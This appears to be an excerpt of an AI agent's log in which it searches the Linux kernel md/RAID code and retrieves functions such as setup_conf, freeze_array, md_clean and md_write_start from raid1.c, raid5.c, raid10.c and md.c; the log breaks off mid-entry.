Alright, that's interesting. I was expecting `setup_conf` to be related to the RAID 5 implementation, and the search turned up something in `raid5.c`. Hmm, not quite what I anticipated. This probably means the configuration logic isn't as tightly coupled with the specific RAID level as I initially thought, or, more likely, it's defined within a more general framework used across multiple RAID types. Let's not make assumptions yet, though. That likely means the definition is more generic than I thought.
A likely place to find information about the configuration of the other raid levels would be the corresponding raid file, so lets look for the definition in `raid1.c` to see if there is another configuration setup, or to understand the common code used between the raid levels.
|
| 57/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7633: static struct r5conf *setup_conf(struct mddev *mddev)
7634: {
7635: struct r5conf *conf;
7636: int raid_disk, memory, max_disks;
7637: struct md_rdev *rdev;
7638: struct disk_info *disk;
7639: char pers_name[6];
7640: int i;
7641: int group_cnt;
7642: struct r5worker_group *new_group;
7643: int ret = -ENOMEM;
7644:
7645: if (mddev->new_level != 5
7646: && mddev->new_level != 4
7647: && mddev->new_level != 6) {
7648: pr_warn("md/raid:%s: raid level not set to 4/5/6 (%d)\n",
7649: mdname(mddev), mddev->new_level);
7650: return ERR_PTR(-EIO);
7651: }
7652: if ((mddev->new_level == 5
7653: && !algorithm_valid_raid5(mddev->new_layout)) ||
7654: (mddev->new_level == 6
7655: && !algorithm_valid_raid6(mddev->new_layout))) {
7656: pr_warn("md/raid:%s: layout %d not supported\n",
7657: mdname(mddev), mddev->new_layout);
7658: return ERR_PTR(-EIO);
7659: }
7660: if (mddev->new_level == 6 && mddev->raid_disks < 4) {
7661: pr_warn("md/raid:%s: not enough configured devices (%d, minimum 4)\n",
7662: mdname(mddev), mddev->raid_disks);
7663: return ERR_PTR(-EINVAL);
7664: }
7665:
7666: if (!mddev->new_chunk_sectors ||
7667: (mddev->new_chunk_sectors << 9) % PAGE_SIZE ||
7668: !is_power_of_2(mddev->new_chunk_sectors)) {
7669: pr_warn("md/raid:%s: invalid chunk size %d\n",
7670: mdname(mddev), mddev->new_chunk_sectors << 9);
7671: return ERR_PTR(-EINVAL);
7672: }
7673:
7674: conf = kzalloc_obj(struct r5conf);
7675: if (conf == NULL)
7676: goto abort;
7677:
7678: #if PAGE_SIZE != DEFAULT_STRIPE_SIZE
7679: conf->stripe_size = DEFAULT_STRIPE_SIZE;
7680: conf->stripe_shift = ilog2(DEFAULT_STRIPE_SIZE) - 9;
7681: conf->stripe_sectors = DEFAULT_STRIPE_SIZE >> 9;
7682: #endif
7683: INIT_LIST_HEAD(&conf->free_list);
7684: INIT_LIST_HEAD(&conf->pending_list);
7685: conf->pending_data = kzalloc_objs(struct r5pending_data, PENDING_IO_MAX);
7686: if (!conf->pending_data)
7687: goto abort;
7688: for (i = 0; i < PENDING_IO_MAX; i++)
7689: list_add(&conf->pending_data[i].sibling, &conf->free_list);
7690: /* Don't enable multi-threading by default*/
7691: if (!alloc_thread_groups(conf, 0, &group_cnt, &new_group)) {
7692: conf->group_cnt = group_cnt;
7693: conf->worker_cnt_per_group = 0;
7694: conf->worker_groups = new_group;
7695: } else
7696: goto abort;
7697: spin_lock_init(&conf->device_lock);
7698: seqcount_spinlock_init(&conf->gen_lock, &conf->device_lock);
7699: mutex_init(&conf->cache_size_mutex);
7700:
7701: init_waitqueue_head(&conf->wait_for_quiescent);
7702: init_waitqueue_head(&conf->wait_for_stripe);
7703: init_waitqueue_head(&conf->wait_for_reshape);
7704: INIT_LIST_HEAD(&conf->handle_list);
7705: INIT_LIST_HEAD(&conf->loprio_list);
7706: INIT_LIST_HEAD(&conf->hold_list);
7707: INIT_LIST_HEAD(&conf->delayed_list);
7708: INIT_LIST_HEAD(&conf->bitmap_list);
7709: init_llist_head(&conf->released_stripes);
7710: atomic_set(&conf->active_stripes, 0);
7711: atomic_set(&conf->preread_active_stripes, 0);
7712: atomic_set(&conf->active_aligned_reads, 0);
7713: spin_lock_init(&conf->pending_bios_lock);
7714: conf->batch_bio_dispatch = true;
7715: rdev_for_each(rdev, mddev) {
7716: if (test_bit(Journal, &rdev->flags))
7717: continue;
7718: if (!bdev_rot(rdev->bdev)) {
7719: conf->batch_bio_dispatch = false;
7720: break;
7721: }
7722: }
7723:
7724: conf->bypass_threshold = BYPASS_THRESHOLD;
7725: conf->raid_disks = mddev->raid_disks;
7726: if (mddev->reshape_position == MaxSector)
7727: conf->previous_raid_disks = mddev->raid_disks;
7728: else
7729: conf->previous_raid_disks = mddev->raid_disks - mddev->delta_disks;
7730: max_disks = max(conf->raid_disks, conf->previous_raid_disks);
7731:
7732: conf->disks = kzalloc_objs(struct disk_info, max_disks);
7733:
7734: if (!conf->disks)
7735: goto abort;
7736:
7737: for (i = 0; i < max_disks; i++) {
7738: conf->disks[i].extra_page = alloc_page(GFP_KERNEL);
7739: if (!conf->disks[i].extra_page)
7740: goto abort;
7741: }
7742:
7743: ret = bioset_init(&conf->bio_split, BIO_POOL_SIZE, 0, 0);
7744: if (ret)
7745: goto abort;
7746: conf->mddev = mddev;
7747:
7748: ret = -ENOMEM;
7749: conf->stripe_hashtbl = kzalloc(PAGE_SIZE, GFP_KERNEL);
7750: if (!conf->stripe_hashtbl)
7751: goto abort;
7752:
7753: /* We init hash_locks[0] separately to that it can be used
7754: * as the reference lock in the spin_lock_nest_lock() call
7755: * in lock_all_device_hash_locks_irq in order to convince
7756: * lockdep that we know what we are doing.
7757: */
7758: spin_lock_init(conf->hash_locks);
7759: for (i = 1; i < NR_STRIPE_HASH_LOCKS; i++)
7760: spin_lock_init(conf->hash_locks + i);
7761:
7762: for (i = 0; i < NR_STRIPE_HASH_LOCKS; i++)
7763: INIT_LIST_HEAD(conf->inactive_list + i);
7764:
7765: for (i = 0; i < NR_STRIPE_HASH_LOCKS; i++)
7766: INIT_LIST_HEAD(conf->temp_inactive_list + i);
7767:
7768: atomic_set(&conf->r5c_cached_full_stripes, 0);
7769: INIT_LIST_HEAD(&conf->r5c_full_stripe_list);
7770: atomic_set(&conf->r5c_cached_partial_stripes, 0);
7771: INIT_LIST_HEAD(&conf->r5c_partial_stripe_list);
7772: atomic_set(&conf->r5c_flushing_full_stripes, 0);
7773: atomic_set(&conf->r5c_flushing_partial_stripes, 0);
7774:
7775: conf->level = mddev->new_level;
7776: conf->chunk_sectors = mddev->new_chunk_sectors;
7777: ret = raid5_alloc_percpu(conf);
7778: if (ret)
7779: goto abort;
7780:
7781: pr_debug("raid456: run(%s) called.\n", mdname(mddev));
7782:
7783: ret = -EIO;
7784: rdev_for_each(rdev, mddev) {
7785: raid_disk = rdev->raid_disk;
7786: if (raid_disk >= max_disks
7787: || raid_disk < 0 || test_bit(Journal, &rdev->flags))
7788: continue;
7789: disk = conf->disks + raid_disk;
7790:
7791: if (test_bit(Replacement, &rdev->flags)) {
7792: if (disk->replacement)
7793: goto abort;
7794: disk->replacement = rdev;
7795: } else {
7796: if (disk->rdev)
7797: goto abort;
7798: disk->rdev = rdev;
7799: }
7800:
7801: if (test_bit(In_sync, &rdev->flags)) {
7802: pr_info("md/raid:%s: device %pg operational as raid disk %d\n",
7803: mdname(mddev), rdev->bdev, raid_disk);
7804: } else if (rdev->saved_raid_disk != raid_disk)
7805: /* Cannot rely on bitmap to complete recovery */
7806: conf->fullsync = 1;
7807: }
7808:
7809: conf->level = mddev->new_level;
7810: if (conf->level == 6) {
7811: conf->max_degraded = 2;
7812: if (raid6_can_xor_syndrome())
7813: conf->rmw_level = PARITY_ENABLE_RMW;
7814: else
7815: conf->rmw_level = PARITY_DISABLE_RMW;
7816: } else {
7817: conf->max_degraded = 1;
7818: conf->rmw_level = PARITY_ENABLE_RMW;
7819: }
7820: conf->algorithm = mddev->new_layout;
7821: conf->reshape_progress = mddev->reshape_position;
7822: if (conf->reshape_progress != MaxSector) {
7823: conf->prev_chunk_sectors = mddev->chunk_sectors;
7824: conf->prev_algo = mddev->layout;
7825: } else {
7826: conf->prev_chunk_sectors = conf->chunk_sectors;
7827: conf->prev_algo = conf->algorithm;
7828: }
7829:
7830: conf->min_nr_stripes = NR_STRIPES;
7831: if (mddev->reshape_position != MaxSector) {
7832: int stripes = max_t(int,
7833: ((mddev->chunk_sectors << 9) / RAID5_STRIPE_SIZE(conf)) * 4,
7834: ((mddev->new_chunk_sectors << 9) / RAID5_STRIPE_SIZE(conf)) * 4);
7835: conf->min_nr_stripes = max(NR_STRIPES, stripes);
7836: if (conf->min_nr_stripes != NR_STRIPES)
7837: pr_info("md/raid:%s: force stripe size %d for reshape\n",
7838: mdname(mddev), conf->min_nr_stripes);
7839: }
7840: memory = conf->min_nr_stripes * (sizeof(struct stripe_head) +
7841: max_disks * ((sizeof(struct bio) + PAGE_SIZE))) / 1024;
7842: atomic_set(&conf->empty_inactive_list_nr, NR_STRIPE_HASH_LOCKS);
7843: if (grow_stripes(conf, conf->min_nr_stripes)) {
7844: pr_warn("md/raid:%s: couldn't allocate %dkB for buffers\n",
7845: mdname(mddev), memory);
7846: ret = -ENOMEM;
7847: goto abort;
7848: } else
7849: pr_debug("md/raid:%s: allocated %dkB\n", mdname(mddev), memory);
7850: /*
7851: * Losing a stripe head costs more than the time to refill it,
7852: * it reduces the queue depth and so can hurt throughput.
7853: * So set it rather large, scaled by number of devices.
7854: */
7855: conf->shrinker = shrinker_alloc(0, "md-raid5:%s", mdname(mddev));
7856: if (!conf->shrinker) {
7857: ret = -ENOMEM;
7858: pr_warn("md/raid:%s: couldn't allocate shrinker.\n",
7859: mdname(mddev));
7860: goto abort;
7861: }
7862:
7863: conf->shrinker->seeks = DEFAULT_SEEKS * conf->raid_disks * 4;
7864: conf->shrinker->scan_objects = raid5_cache_scan;
7865: conf->shrinker->count_objects = raid5_cache_count;
7866: conf->shrinker->batch = 128;
7867: conf->shrinker->private_data = conf;
7868:
7869: shrinker_register(conf->shrinker);
7870:
7871: sprintf(pers_name, "raid%d", mddev->new_level);
7872: rcu_assign_pointer(conf->thread,
7873: md_register_thread(raid5d, mddev, pers_name));
7874: if (!conf->thread) {
7875: pr_warn("md/raid:%s: couldn't allocate thread.\n",
7876: mdname(mddev));
7877: ret = -ENOMEM;
7878: goto abort;
7879: }
7880:
7881: return conf;
7882:
7883: abort:
7884: if (conf)
7885: free_conf(conf);
7886: return ERR_PTR(ret);
7887: }
SourceFile:drivers/md/raid5.c]
|
| 58/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 58435
output: 21
thoughts: 18
Thoughts: Here's my take on those thoughts:
**Spotting a Potential Code Consistency Issue**
Okay, so I'm digging into this codebase and something just pinged my radar. I was looking at `raid1.c` and noticed that the `setup_conf` function is also defined there. Wait a minute... that's a little unexpected. I had a different mental model of where that functionality was implemented. I need to be sure the definition is appropriate.
|
| 59/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Error:
Args:
|
| 60/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 51695
output: 35
thoughts: 0
|
| 61/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:setup_conf]
Results: map[SourceCode:3045: static struct r1conf *setup_conf(struct mddev *mddev)
3046: {
3047: struct r1conf *conf;
3048: int i;
3049: struct raid1_info *disk;
3050: struct md_rdev *rdev;
3051: size_t r1bio_size;
3052: int err = -ENOMEM;
3053:
3054: conf = kzalloc_obj(struct r1conf);
3055: if (!conf)
3056: goto abort;
3057:
3058: conf->nr_pending = kzalloc_objs(atomic_t, BARRIER_BUCKETS_NR);
3059: if (!conf->nr_pending)
3060: goto abort;
3061:
3062: conf->nr_waiting = kzalloc_objs(atomic_t, BARRIER_BUCKETS_NR);
3063: if (!conf->nr_waiting)
3064: goto abort;
3065:
3066: conf->nr_queued = kzalloc_objs(atomic_t, BARRIER_BUCKETS_NR);
3067: if (!conf->nr_queued)
3068: goto abort;
3069:
3070: conf->barrier = kzalloc_objs(atomic_t, BARRIER_BUCKETS_NR);
3071: if (!conf->barrier)
3072: goto abort;
3073:
3074: conf->mirrors = kzalloc(array3_size(sizeof(struct raid1_info),
3075: mddev->raid_disks, 2),
3076: GFP_KERNEL);
3077: if (!conf->mirrors)
3078: goto abort;
3079:
3080: conf->tmppage = alloc_page(GFP_KERNEL);
3081: if (!conf->tmppage)
3082: goto abort;
3083:
3084: r1bio_size = offsetof(struct r1bio, bios[mddev->raid_disks * 2]);
3085: conf->r1bio_pool = mempool_create_kmalloc_pool(NR_RAID_BIOS, r1bio_size);
3086: if (!conf->r1bio_pool)
3087: goto abort;
3088:
3089: err = bioset_init(&conf->bio_split, BIO_POOL_SIZE, 0, 0);
3090: if (err)
3091: goto abort;
3092:
3093: err = -EINVAL;
3094: spin_lock_init(&conf->device_lock);
3095: conf->raid_disks = mddev->raid_disks;
3096: rdev_for_each(rdev, mddev) {
3097: int disk_idx = rdev->raid_disk;
3098:
3099: if (disk_idx >= conf->raid_disks || disk_idx < 0)
3100: continue;
3101:
3102: if (!raid1_add_conf(conf, rdev, disk_idx,
3103: test_bit(Replacement, &rdev->flags)))
3104: goto abort;
3105: }
3106: conf->mddev = mddev;
3107: INIT_LIST_HEAD(&conf->retry_list);
3108: INIT_LIST_HEAD(&conf->bio_end_io_list);
3109:
3110: spin_lock_init(&conf->resync_lock);
3111: init_waitqueue_head(&conf->wait_barrier);
3112:
3113: bio_list_init(&conf->pending_bio_list);
3114:
3115: err = -EIO;
3116: for (i = 0; i < conf->raid_disks * 2; i++) {
3117:
3118: disk = conf->mirrors + i;
3119:
3120: if (i < conf->raid_disks &&
3121: disk[conf->raid_disks].rdev) {
3122: /* This slot has a replacement. */
3123: if (!disk->rdev) {
3124: /* No original, just make the replacement
3125: * a recovering spare
3126: */
3127: disk->rdev =
3128: disk[conf->raid_disks].rdev;
3129: disk[conf->raid_disks].rdev = NULL;
3130: } else if (!test_bit(In_sync, &disk->rdev->flags))
3131: /* Original is not in_sync - bad */
3132: goto abort;
3133: }
3134:
3135: if (!disk->rdev ||
3136: !test_bit(In_sync, &disk->rdev->flags)) {
3137: disk->head_position = 0;
3138: if (disk->rdev &&
3139: (disk->rdev->saved_raid_disk < 0))
3140: conf->fullsync = 1;
3141: }
3142: }
3143:
3144: err = -ENOMEM;
3145: rcu_assign_pointer(conf->thread,
3146: md_register_thread(raid1d, mddev, "raid1"));
3147: if (!conf->thread)
3148: goto abort;
3149:
3150: return conf;
3151:
3152: abort:
3153: if (conf) {
3154: mempool_destroy(conf->r1bio_pool);
3155: kfree(conf->mirrors);
3156: safe_put_page(conf->tmppage);
3157: kfree(conf->nr_pending);
3158: kfree(conf->nr_waiting);
3159: kfree(conf->nr_queued);
3160: kfree(conf->barrier);
3161: bioset_exit(&conf->bio_split);
3162: kfree(conf);
3163: }
3164: return ERR_PTR(err);
3165: }
SourceFile:drivers/md/raid1.c]
|
| 62/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 53557
output: 22
thoughts: 0
|
| 63/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3267: static void raid1_free(struct mddev *mddev, void *priv)
3268: {
3269: struct r1conf *conf = priv;
3270:
3271: mempool_destroy(conf->r1bio_pool);
3272: kfree(conf->mirrors);
3273: safe_put_page(conf->tmppage);
3274: kfree(conf->nr_pending);
3275: kfree(conf->nr_waiting);
3276: kfree(conf->nr_queued);
3277: kfree(conf->barrier);
3278: bioset_exit(&conf->bio_split);
3279: kfree(conf);
3280: }
SourceFile:drivers/md/raid1.c]
|
| 64/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 53820
output: 21
thoughts: 0
|
| 65/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Error:
Args:
Results: map[SourceCode: SourceFile:]
|
| 66/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 53862
output: 21
thoughts: 0
|
| 67/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:6967: static void md_clean(struct mddev *mddev)
6968: {
6969: mddev->array_sectors = 0;
6970: mddev->external_size = 0;
6971: mddev->dev_sectors = 0;
6972: mddev->raid_disks = 0;
6973: mddev->resync_offset = 0;
6974: mddev->resync_min = 0;
6975: mddev->resync_max = MaxSector;
6976: mddev->reshape_position = MaxSector;
6977: /* we still need mddev->external in export_rdev, do not clear it yet */
6978: mddev->persistent = 0;
6979: mddev->level = LEVEL_NONE;
6980: mddev->clevel[0] = 0;
6981:
6982: /*
6983: * For legacy_async_del_gendisk mode, it can stop the array in the
6984: * middle of assembling it, then it still can access the array. So
6985: * it needs to clear MD_CLOSING. If not legacy_async_del_gendisk,
6986: * it can't open the array again after stopping it. So it doesn't
6987: * clear MD_CLOSING.
6988: */
6989: if (legacy_async_del_gendisk && mddev->hold_active) {
6990: clear_bit(MD_CLOSING, &mddev->flags);
6991: } else {
6992: /* if UNTIL_STOP is set, it's cleared here */
6993: mddev->hold_active = 0;
6994: /* Don't clear MD_CLOSING, or mddev can be opened again. */
6995: mddev->flags &= BIT_ULL_MASK(MD_CLOSING);
6996: }
6997: mddev->sb_flags = 0;
6998: mddev->ro = MD_RDWR;
6999: mddev->metadata_type[0] = 0;
7000: mddev->chunk_sectors = 0;
7001: mddev->ctime = mddev->utime = 0;
7002: mddev->layout = 0;
7003: mddev->logical_block_size = 0;
7004: mddev->max_disks = 0;
7005: mddev->events = 0;
7006: mddev->can_decrease_events = 0;
7007: mddev->delta_disks = 0;
7008: mddev->reshape_backwards = 0;
7009: mddev->new_level = LEVEL_NONE;
7010: mddev->new_layout = 0;
7011: mddev->new_chunk_sectors = 0;
7012: mddev->curr_resync = MD_RESYNC_NONE;
7013: atomic64_set(&mddev->resync_mismatches, 0);
7014: mddev->suspend_lo = mddev->suspend_hi = 0;
7015: mddev->sync_speed_min = mddev->sync_speed_max = 0;
7016: mddev->recovery = 0;
7017: mddev->in_sync = 0;
7018: mddev->changed = 0;
7019: mddev->degraded = 0;
7020: mddev->safemode = 0;
7021: mddev->private = NULL;
7022: mddev->cluster_info = NULL;
7023: mddev->bitmap_info.offset = 0;
7024: mddev->bitmap_info.default_offset = 0;
7025: mddev->bitmap_info.default_space = 0;
7026: mddev->bitmap_info.chunksize = 0;
7027: mddev->bitmap_info.daemon_sleep = 0;
7028: mddev->bitmap_info.max_write_behind = 0;
7029: mddev->bitmap_info.nodes = 0;
7030: }
SourceFile:drivers/md/md.c]
|
| 68/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 55083
output: 22
thoughts: 0
|
| 69/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7084: static void __md_stop(struct mddev *mddev)
7085: {
7086: struct md_personality *pers = mddev->pers;
7087:
7088: mddev_detach(mddev);
7089: md_bitmap_destroy(mddev);
7090: spin_lock(&mddev->lock);
7091: mddev->pers = NULL;
7092: spin_unlock(&mddev->lock);
7093: if (mddev->private)
7094: pers->free(mddev, mddev->private);
7095: mddev->private = NULL;
7096: put_pers(pers);
7097: clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7098: }
SourceFile:drivers/md/md.c]
|
| 70/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 55361
output: 22
thoughts: 0
|
| 71/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7069: static void mddev_detach(struct mddev *mddev)
7070: {
7071: if (md_bitmap_enabled(mddev, false))
7072: mddev->bitmap_ops->wait_behind_writes(mddev);
7073: if (mddev->pers && mddev->pers->quiesce && !is_md_suspended(mddev)) {
7074: mddev->pers->quiesce(mddev, 1);
7075: mddev->pers->quiesce(mddev, 0);
7076: }
7077: md_unregister_thread(mddev, &mddev->thread);
7078:
7079: /* the unplug fn references 'conf' */
7080: if (!mddev_is_dm(mddev))
7081: blk_sync_queue(mddev->gendisk->queue);
7082: }
SourceFile:drivers/md/md.c]
|
| 72/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 55664
output: 24
thoughts: 0
|
| 73/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3411: static void raid1_quiesce(struct mddev *mddev, int quiesce)
3412: {
3413: struct r1conf *conf = mddev->private;
3414:
3415: if (quiesce)
3416: freeze_array(conf, 0);
3417: else
3418: unfreeze_array(conf);
3419: }
SourceFile:drivers/md/raid1.c]
|
| 74/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 55839
output: 21
thoughts: 0
|
| 75/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:1044: static void freeze_array(struct r10conf *conf, int extra)
1045: {
1046: /* stop syncio and normal IO and wait for everything to
1047: * go quiet.
1048: * We increment barrier and nr_waiting, and then
1049: * wait until nr_pending match nr_queued+extra
1050: * This is called in the context of one normal IO request
1051: * that has failed. Thus any sync request that might be pending
1052: * will be blocked by nr_pending, and we need to wait for
1053: * pending IO requests to complete or be queued for re-try.
1054: * Thus the number queued (nr_queued) plus this request (extra)
1055: * must match the number of pending IOs (nr_pending) before
1056: * we continue.
1057: */
1058: write_seqlock_irq(&conf->resync_lock);
1059: conf->array_freeze_pending++;
1060: WRITE_ONCE(conf->barrier, conf->barrier + 1);
1061: conf->nr_waiting++;
1062: wait_event_barrier_cmd(conf, atomic_read(&conf->nr_pending) ==
1063: conf->nr_queued + extra, flush_pending_writes(conf));
1064: conf->array_freeze_pending--;
1065: write_sequnlock_irq(&conf->resync_lock);
1066: }
SourceFile:drivers/md/raid10.c]
|
| 76/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 56308
output: 35
thoughts: 0
|
| 77/2 |
2026/08/26 10:34 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:freeze_array]
Results: map[SourceCode:1183: static void freeze_array(struct r1conf *conf, int extra)
1184: {
1185: /* Stop sync I/O and normal I/O and wait for everything to
1186: * go quiet.
1187: * This is called in two situations:
1188: * 1) management command handlers (reshape, remove disk, quiesce).
1189: * 2) one normal I/O request failed.
1190:
1191: * After array_frozen is set to 1, new sync IO will be blocked at
1192: * raise_barrier(), and new normal I/O will blocked at _wait_barrier()
1193: * or wait_read_barrier(). The flying I/Os will either complete or be
1194: * queued. When everything goes quite, there are only queued I/Os left.
1195:
1196: * Every flying I/O contributes to a conf->nr_pending[idx], idx is the
1197: * barrier bucket index which this I/O request hits. When all sync and
1198: * normal I/O are queued, sum of all conf->nr_pending[] will match sum
1199: * of all conf->nr_queued[]. But normal I/O failure is an exception,
1200: * in handle_read_error(), we may call freeze_array() before trying to
1201: * fix the read error. In this case, the error read I/O is not queued,
1202: * so get_unqueued_pending() == 1.
1203: *
1204: * Therefore before this function returns, we need to wait until
1205: * get_unqueued_pendings(conf) gets equal to extra. For
1206: * normal I/O context, extra is 1, in rested situations extra is 0.
1207: */
1208: spin_lock_irq(&conf->resync_lock);
1209: conf->array_frozen = 1;
1210: mddev_add_trace_msg(conf->mddev, "raid1 wait freeze");
1211: wait_event_lock_irq_cmd(
1212: conf->wait_barrier,
1213: get_unqueued_pending(conf) == extra,
1214: conf->resync_lock,
1215: flush_pending_writes(conf));
1216: spin_unlock_irq(&conf->resync_lock);
1217: }
SourceFile:drivers/md/raid1.c]
|
| 78/2 |
2026/08/26 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 57044
output: 22
thoughts: 0
|
| 79/2 |
2026/08/26 10:35 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:1068: static void unfreeze_array(struct r10conf *conf)
1069: {
1070: /* reverse the effect of the freeze */
1071: write_seqlock_irq(&conf->resync_lock);
1072: WRITE_ONCE(conf->barrier, conf->barrier - 1);
1073: conf->nr_waiting--;
1074: wake_up(&conf->wait_barrier);
1075: write_sequnlock_irq(&conf->resync_lock);
1076: }
SourceFile:drivers/md/raid10.c]
|
| 80/2 |
2026/08/26 10:35 |
llm |
expert |
0m
Model:
Tokens:
input: 57250
output: 36
thoughts: 0
|
| 81/2 |
2026/08/26 10:35 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:unfreeze_array]
Results: map[SourceCode:1218: static void unfreeze_array(struct r1conf *conf)
1219: {
1220: /* reverse the effect of the freeze */
1221: spin_lock_irq(&conf->resync_lock);
1222: conf->array_frozen = 0;
1223: spin_unlock_irq(&conf->resync_lock);
1224: wake_up(&conf->wait_barrier);
1225: }
SourceFile:drivers/md/raid1.c]
|
| 82/2 |
2026/08/26 10:35 |
llm |
expert |
0m
Model:
Tokens:
input: 57444
output: 23
thoughts: 0
|
| 83/2 |
2026/08/26 10:35 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_unregister_thread]
Results: map[SourceCode:8763: void md_unregister_thread(struct mddev *mddev, struct md_thread __rcu **threadp)
8764: {
8765: struct md_thread *thread = rcu_dereference_protected(*threadp,
8766: lockdep_is_held(&mddev->reconfig_mutex));
8767:
8768: if (!thread)
8769: return;
8770:
8771: rcu_assign_pointer(*threadp, NULL);
8772: synchronize_rcu();
8773:
8774: pr_debug("interrupting MD-thread pid %d\n", task_pid_nr(thread->tsk));
8775: kthread_stop(thread->tsk);
8776: kfree(thread);
8777: }
SourceFile:drivers/md/md.c]
|
| 84/2 |
2026/08/26 10:35 |
llm |
expert |
0m
Model:
Tokens:
input: 57725
output: 23
thoughts: 0
|
| 85/2 |
2026/08/26 10:35 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_bitmap_destroy]
Results: map[SourceCode:6631: static void md_bitmap_destroy(struct mddev *mddev)
6632: {
6633: if (!mddev_is_dm(mddev) && mddev->bitmap_ops &&
6634: mddev->bitmap_ops->groups)
6635: md_bitmap_sysfs_del(mddev);
6636:
6637: md_bitmap_destroy_nosysfs(mddev);
6638: }
SourceFile:drivers/md/md.c]
|
| 86/2 |
2026/08/26 10:35 |
llm |
expert |
0m
Model:
Tokens:
input: 57906
output: 27
thoughts: 0
|
| 87/2 |
2026/08/26 10:35 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_bitmap_destroy_nosysfs]
Results: map[SourceCode:6622: void md_bitmap_destroy_nosysfs(struct mddev *mddev)
6623: {
6624: if (!md_bitmap_registered(mddev))
6625: return;
6626:
6627: mddev->bitmap_ops->destroy(mddev);
6628: mddev->bitmap_ops = NULL;
6629: }
SourceFile:drivers/md/md.c]
|
| 88/2 |
2026/08/26 10:35 |
llm |
expert |
0m
Model:
Tokens:
input: 58073
output: 24
thoughts: 0
|
| 89/2 |
2026/08/26 10:35 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_make_request]
Results: map[SourceCode:1674: static bool raid1_make_request(struct mddev *mddev, struct bio *bio)
1675: {
1676: sector_t sectors;
1677:
1678: if (unlikely(bio->bi_opf & REQ_PREFLUSH)
1679: && md_flush_request(mddev, bio))
1680: return true;
1681:
1682: /*
1683: * There is a limit to the maximum size, but
1684: * the read/write handler might find a lower limit
1685: * due to bad blocks. To avoid multiple splits,
1686: * we pass the maximum number of sectors down
1687: * and let the lower level perform the split.
1688: */
1689: sectors = align_to_barrier_unit_end(
1690: bio->bi_iter.bi_sector, bio_sectors(bio));
1691:
1692: if (bio_data_dir(bio) == READ)
1693: raid1_read_request(mddev, bio, sectors, NULL);
1694: else {
1695: md_write_start(mddev, bio);
1696: if (!raid1_write_request(mddev, bio, sectors))
1697: md_write_end(mddev);
1698: }
1699: return true;
1700: }
SourceFile:drivers/md/raid1.c]
|
| 90/2 |
2026/08/26 10:35 |
llm |
expert |
0m
Model:
Tokens:
input: 58533
output: 23
thoughts: 0
|
| 91/2 |
2026/08/26 10:35 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:9290: /* md_write_start(mddev, bi)
9291: * If we need to update some array metadata (e.g. 'active' flag
9292: * in superblock) before writing, schedule a superblock update
9293: * and wait for it to complete.
9294: * A return value of 'false' means that the write wasn't recorded
9295: * and cannot proceed as the array is being suspend.
9296: */
9297: void md_write_start(struct mddev *mddev, struct bio *bi)
9298: {
9299: int did_change = 0;
9300:
9301: if (bio_data_dir(bi) != WRITE)
9302: return;
9303:
9304: BUG_ON(mddev->ro == MD_RDONLY);
9305: if (mddev->ro == MD_AUTO_READ) {
9306: /* need to switch to read/write */
9307: mddev->ro = MD_RDWR;
9308: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
9309: md_wakeup_thread(mddev->thread);
9310: md_wakeup_thread(mddev->sync_thread);
9311: did_change = 1;
9312: }
9313: rcu_read_lock();
9314: percpu_ref_get(&mddev->writes_pending);
9315: smp_mb(); /* Match smp_mb in set_in_sync() */
9316: if (mddev->safemode == 1)
9317: mddev->safemode = 0;
9318: /* sync_checkers is always 0 when writes_pending is in per-cpu mode */
9319: if (mddev->in_sync || mddev->sync_checkers) {
9320: spin_lock(&mddev->lock);
9321: if (mddev->in_sync) {
9322: mddev->in_sync = 0;
9323: set_bit(MD_SB_CHANGE_CLEAN, &mddev->sb_flags);
9324: set_bit(MD_SB_CHANGE_PENDING, &mddev->sb_flags);
9325: md_wakeup_thread(mddev->thread);
9326: did_change = 1;
9327: }
9328: spin_unlock(&mddev->lock);
9329: }
9330: rcu_read_unlock();
9331: if (did_change)
9332: sysfs_notify_dirent_safe(mddev->sysfs_state);
9333: if (!test_bit(MD_HAS_SUPERBLOCK, &mddev->flags))
9334: return;
9335: wait_event(mddev->sb_wait,
9336: !test_bit(MD_SB_CHANGE_PENDING, &mddev->sb_flags));
9337: }
SourceFile:drivers/md/md.c]
|
| 92/2 |
2026/08/26 10:35 |
llm |
expert |
0m
Model:
